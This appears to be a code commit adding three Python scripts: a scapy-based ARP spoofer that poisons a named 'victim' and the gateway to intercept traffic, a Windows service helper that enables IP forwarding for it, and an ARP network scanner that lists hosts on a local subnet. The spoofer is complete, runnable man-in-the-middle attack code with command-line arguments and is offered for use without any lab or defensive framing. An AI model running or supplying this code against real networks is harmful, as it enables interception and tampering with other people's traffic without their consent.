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added network scanner & arp spoofer
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‎arp-spoofer/arp_spoof.py

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from scapy.all import Ether, ARP, srp, send
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import argparse
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import time
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import os
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import sys
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def _enable_linux_iproute():
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"""
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Enables IP route ( IP Forward ) in linux-based distro
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"""
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file_path = "/proc/sys/net/ipv4/ip_forward"
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with open(file_path) as f:
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if f.read() == 1:
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# already enabled
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return
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with open(file_path, "w") as f:
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print(1, file=f)
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def _enable_windows_iproute():
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"""
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Enables IP route (IP Forwarding) in Windows
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"""
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from services import WService
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# enable Remote Access service
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service = WService("RemoteAccess")
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service.start()
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def enable_ip_route(verbose=True):
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"""
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Enables IP forwarding
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"""
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if verbose:
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print("[!] Enabling IP Routing...")
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_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
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if verbose:
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print("[!] IP Routing enabled.")
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def get_mac(ip):
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ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
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if ans:
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return ans[0][1].src
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def spoof(target_ip, host_ip, verbose=True):
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"""
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Spoofs `target_ip` saying that we are `host_ip`.
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it is accomplished by changing the ARP cache of the target (poisoning)
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"""
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# get the mac address of the target
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target_mac = get_mac(target_ip)
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# craft the arp 'is-at' operation packet, in other words; an ARP response
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# we don't specify 'hwsrc' (source MAC address)
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# because by default, 'hwsrc' is the real MAC address of the sender
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arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
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# send the packet
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# verbose = 0 means that we send the packet without printing any thing
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send(arp_response, verbose=0)
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if verbose:
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# get the MAC address of the default interface we are using
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self_mac = ARP().hwsrc
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print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
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def restore(target_ip, host_ip, verbose=True):
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"""
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Restores the normal process of a regular network
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This is done by sending the original informations
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(real IP and MAC of `host_ip` ) to `target_ip`
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"""
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# get the real MAC address of target
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target_mac = get_mac(target_ip)
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# get the real MAC address of spoofed (gateway, i.e router)
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host_mac = get_mac(host_ip)
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# crafting the restoring packet
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arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
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# sending the restoring packet
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# to restore the network to its normal process
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# we send each reply seven times for a good measure (count=7)
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send(arp_response, verbose=0, count=7)
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if verbose:
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print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
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if __name__ == "__main__":
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parser = argparse.ArgumentParser(description="ARP spoof script")
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parser.add_argument("target", help="Victim IP Address to ARP poison")
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parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
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parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)")
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args = parser.parse_args()
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target, host, verbose = args.target, args.host, args.verbose
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enable_ip_route()
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try:
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while True:
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# telling the `target` that we are the `host`
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spoof(target, host, verbose)
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# telling the `host` that we are the `target`
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spoof(host, target, verbose)
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# sleep for one second
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time.sleep(1)
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except KeyboardInterrupt:
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print("[!] Detected CTRL+C ! restoring the network, please wait...")
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restore(target, host)
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restore(host, target)

‎arp-spoofer/services.py

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import win32serviceutil
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import time
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class WService:
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def __init__(self, service, machine=None, verbose=False):
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self.service = service
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self.machine = machine
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self.verbose = verbose
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@property
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def running(self):
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return win32serviceutil.QueryServiceStatus(self.service)[1] == 4
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def start(self):
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if not self.running:
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win32serviceutil.StartService(self.service)
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time.sleep(1)
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if self.running:
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if self.verbose:
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print(f"[+] {self.service} started successfully.")
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return True
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else:
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if self.verbose:
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print(f"[-] Cannot start {self.service}")
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return False
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elif self.verbose:
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print(f"[!] {self.service} is already running.")
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def stop(self):
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if self.running:
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win32serviceutil.StopService(self.service)
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time.sleep(0.5)
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if not self.running:
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if self.verbose:
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print(f"[+] {self.service} stopped successfully.")
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return True
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else:
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if self.verbose:
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print(f"[-] Cannot stop {self.service}")
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return False
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elif self.verbose:
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print(f"[!] {self.service} is not running.")
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def restart(self):
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if self.running:
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win32serviceutil.RestartService(self.service)
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time.sleep(2)
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if self.running:
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if self.verbose:
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print(f"[+] {self.service} restarted successfully.")
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return True
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else:
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if self.verbose:
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print(f"[-] Cannot start {self.service}")
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return False
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elif self.verbose:
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print(f"[!] {self.service} is not running.")
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def main(action, service):
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service = WService(service, verbose=True)
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if action == "start":
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service.start()
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elif action == "stop":
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service.stop()
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elif action == "restart":
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service.restart()
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# getattr(remoteAccessService, action, "start")()
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if __name__ == "__main__":
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import argparse
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parser = argparse.ArgumentParser(description="Windows Service Handler")
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parser.add_argument("service")
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parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'",
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action="store", required=True, dest="action")
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given_args = parser.parse_args()
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service, action = given_args.service, given_args.action
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main(action, service)
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‎network-scanner/network_scanner.py

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from scapy.all import ARP, Ether, srp
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target_ip = "192.168.1.1/24"
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# IP Address for the destination
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# create ARP packet
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arp = ARP(pdst=target_ip)
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# create the Ether broadcast packet
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# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting
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ether = Ether(dst="ff:ff:ff:ff:ff:ff")
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# stack them
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packet = ether/arp
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result = srp(packet, timeout=3, verbose=0)[0]
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# a list of clients, we will fill this in the upcoming loop
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clients = []
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for sent, received in result:
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# for each response, append ip and mac address to `clients` list
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clients.append({'ip': received.psrc, 'mac': received.hwsrc})
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# print clients
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print("Available devices in the network:")
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print("IP" + " "*18+"MAC")
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for client in clients:
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print("{:16} {}".format(client['ip'], client['mac']))

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